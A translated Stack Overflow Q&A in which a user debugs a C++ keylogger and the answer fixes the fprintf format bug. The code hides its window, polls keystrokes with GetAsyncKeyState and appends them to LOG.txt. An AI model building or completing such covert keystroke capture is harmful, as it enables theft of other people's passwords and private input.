我访问 stackoverflow 已经有一段时间了,这是我在这个网站上的第一个问题 :) 我正在尝试编写一个键盘记录器,它将把按下的键保存在一个 .txt 文件中,但问题是这样的。我用 cout 检查 cmd.exe 上的输出,发现它工作正常,但是当我打开 LOG.txt 文件时,我看到程序将 abcdefgh 打印为 012345678。只有这些非大写字母不起作用。文件中的每个其他键都正确打印。 这是我的主要功能:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
保存功能:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
最佳答案
到目前为止,我发现有一件事是错误的,还有几件事我会采取不同的做法。首先,我认为我不会让它在每次写入单个字符时都打开和关闭文件。
第二个(打错了打错了),是你叫fprintf
指定字符串 %s
并给它一个整数指针 &key
.一个简单的修复应该是 fprintf(OUTPUT_FILE, "%c", (char)key)
, 尽管存在更优雅的解决方案来放置单个字符,即 putc
.
关于c++键盘记录器无法正常工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29570945/